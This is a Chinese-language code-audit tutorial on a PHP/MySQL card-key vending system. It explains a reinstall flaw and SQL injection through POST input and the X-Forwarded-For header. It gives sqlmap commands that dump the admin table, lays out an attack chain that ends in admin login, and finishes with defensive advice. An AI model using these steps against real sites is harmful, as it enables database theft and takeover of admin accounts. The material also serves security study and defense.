对自助提卡系统的一次代码审计
字数 1066 2025-08-18 11:37:28
自助提卡系统代码审计与漏洞利用教学文档
1. 系统概述
本教学文档基于对一款PHP+MySQL开发的自助提卡系统的代码审计结果。该系统主要用于24小时自动售卡平台,常见于违法网站用于提卡密或购买邀请码。
2. 审计环境
- 源码类型:开源PHP自助提卡系统
- 数据库:MySQL
- 主要漏洞类型:
- Forwarded-For注入
- 重装漏洞
- SQL注入
3. 漏洞分析
3.1 重装漏洞
文件路径:install/index.php
漏洞代码:
// 判断是否存在lock文件并且step不等于5的情况下执行判断语句中的代码
if(条件满足) {
header("Location: install/index.php");
// 缺少exit语句
}
漏洞原理:
- 程序在安装完成后会在install目录下生成lock文件
- 检查安装状态时仅通过header跳转,未使用exit终止后续代码执行
- 攻击者可删除lock文件重新安装系统
3.2 SQL注入漏洞(API接口)
文件路径:api.php
漏洞代码:
if(isset($_POST["dh"]) && !empty($_POST["dh"])) {
$sql = "SELECT * FROM xxx WHERE dh='".$_POST["dh"]."'";
// 直接拼接用户输入到SQL语句
}
利用方法:
python sqlmap.py -u "http://target/index.php" --batch --dbms="mysql" --data="dh=a"
3.3 Forwarded-For注入漏洞
核心文件:pay/pay.php
3.3.1 漏洞代码分析
IP获取函数:
function getip() {
if(getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip; // 未做任何过滤
}
SQL拼接点:
// 删除操作时
if($_GET["type"] == "delete") {
$sql = "SELECT * FROM xxx WHERE ip='".getip()."'";
// 直接拼接未过滤的IP到SQL语句
}
// 支付操作时
$sql = "INSERT INTO xxx (ip) VALUES ('".getip()."')";
3.3.2 漏洞利用条件
需要构造以下GET参数:
type=zfb&money=1&title=adssad&pwd=123&spid=1
3.3.3 利用方法
- 使用Burp Suite抓包,修改X-Forwarded-For头为注入payload
- 保存请求为文本文件(test.txt)
- 使用SQLMap进行自动化注入:
python sqlmap.py -r test.txt --batch --dbms="mysql"
python sqlmap.py -r test.txt --batch -D 数据库名 --tables
python sqlmap.py -r test.txt --batch -D 数据库名 -T admin --dump
优势:
- 绕过WAF:许多WAF不会检测header参数
- 高成功率:系统完全信任客户端提供的IP头信息
4. 完整攻击链演示
-
信息收集:
- 确认系统版本是否为易受攻击版本
- 检查
/install/目录是否存在
-
利用Forwarded-For注入:
- 访问支付页面:
http://target/pay/index.php?type=zfb&money=1&title=adssad&pwd=123&spid=1 - 拦截请求并修改X-Forwarded-For头
- 访问支付页面:
-
数据库枚举:
- 获取数据库名
- 枚举表名(重点关注admin表)
- 导出管理员凭证
-
后台登录:
- 访问默认后台:
http://target/admin.php - 使用获取的凭证登录
- 访问默认后台:
5. 防御建议
-
输入过滤:
- 对HTTP头信息进行严格过滤
- 使用预编译语句或参数化查询
-
安装防护:
- 安装完成后自动删除install目录
- 在跳转后添加exit语句
-
权限控制:
- 数据库使用最小权限原则
- 后台地址可配置化,不使用固定路径
-
日志监控:
- 记录异常IP头访问
- 监控SQL错误日志
6. 法律声明
本文所述技术仅限用于合法安全测试与研究,未经授权对他人系统进行测试属于违法行为,后果自负。